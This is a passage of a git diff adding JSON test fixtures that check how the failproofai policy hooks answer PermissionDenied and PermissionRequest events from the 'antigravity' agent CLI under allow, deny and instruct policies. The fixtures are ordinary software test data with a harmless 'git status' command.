b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..eabbaff9 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d9cc763c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..19dc0d36 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..98337757 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..26d66e20 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9d172a5c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8083a526 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..0e7bebdf --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e6f27bb6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8610eb56 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..0b10c30a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..a9694088 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..76864b5e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9099a1cd --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..297dea91 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..24066e03 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7a8e50be --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b6d8c248 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e84584ac --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] 